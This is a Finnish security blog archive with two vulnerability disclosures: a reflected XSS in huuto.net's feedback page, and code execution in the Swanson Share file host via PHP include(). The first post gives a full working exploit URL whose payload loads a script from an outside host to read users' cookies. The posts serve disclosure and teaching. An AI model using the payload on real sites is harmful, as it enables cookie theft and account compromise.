Archive for the 'Tietoturva' Category

Huuto.netissä XSS-haavoittuvuus

Suositulla huuto.net-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi – huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä – varastaa sivun käyttäjien evästeitä.

Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän salasanaa tuntematta

Haavoittuvuus on tiedostossa /fi/showfeedback.php3, joka listaa pyydetyn käyttäjän saaman huutokauppapalautteen. Haluttu käyttäjä lähetetään skriptille GET muuttujassa fbuser. Muuttujalle ei ilmeisesti tehdä minkäänlaista suodatusta, lukuunottamatta (oman veikkaukseni mukaan automaattista) PHP:n addslashes:ia. Käytännössä addslashes estää lainausmerkkien käyttämisen XSS-urlissa, mutta tämä ei muodosta kovinkaan suurta ongelmaa, koska hyökkääjän täytyy ainoastaan saada sivu linkkaamaan ulkoiseen javascript-tiedostoon.
Käytännössä tämä onnistuu käyttämällä osin rikkinäistä HTML:ää, ja asettamalla fbuser-muuttujana vaikkapa ‘<script src=http://domain.com/script.js></script>’. Tämä on kuitenkin tarpeettoman pitkä tapa, ja optimointiin on vielä varaa. Ensinnäkin, script-tagin sulkutag on täysin turha, samoin kuin itse tagin lopettava suurempikuin-merkki. Suurimassa osassa moderneista selaimista, selain käsittelee Quirks Modessa ‘<script src=osoite’-muotoisen script-tagin onnistuneesti.

Nyt XSS on siis muotoa ‘fbuser=<script src=http://domain.com/script.js’. protokolla-merkinnästä voidaan tuoreilla selaimilla jättää itse protokollan nimi ja kaksoispiste pois, ja tagi toimii edelleen normaalisti (Quirks Modessa).
Nyt siis URL on muotoa ‘huuto.net/fi/showfeedback.php3?fbuser=<script src=//domain.com/script.js’.

Proof-of-concept löytyy osoitteesta http://xi7.org/t.js. Käytännössä koodia käytettäisiin seuraavasti: http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js. Koodi ei varasta käyttäjien evästeitä, ainoastaan tulostaa ne, ja lyhyen selostuksen haavoittuvuudesta.

Swanson Share vieraan koodin suoritus

Seloste

Julkaisijan web-sivustolta:

Swanson Share is a file hoster that allows you to upload a file
that can only be downloaded once before it is deleted.
All downloads are secured, so you can use Swanson Share to distribute digital downloads.

Ongelma

Skripti ei todellakaan suojaa ladattuja tiedostoja, melkeinpä päinvastoin. Kaikki tiedostot tallennetaan julkiseen alikansioon ja tiedostonimen eteen lisätään muutama satunnainen numero, eli puhuroidun (hihihihihi) tiedoston voi suorittaa navigoimalla tähän kansioon ja valitsemalla halutun tiedoston.
Mikä vielä pahempaa, kun tallennettu tiedosto ladataan palvelimelta, skripti käyttää php:n include()-functiota tiedoston sisällön syöttämiseksi selaimelle, joten kaikki ladattavan tiedoston sisältämä php-koodi suoritetaan!

Continue reading ‘Swanson Share vieraan koodin suoritus’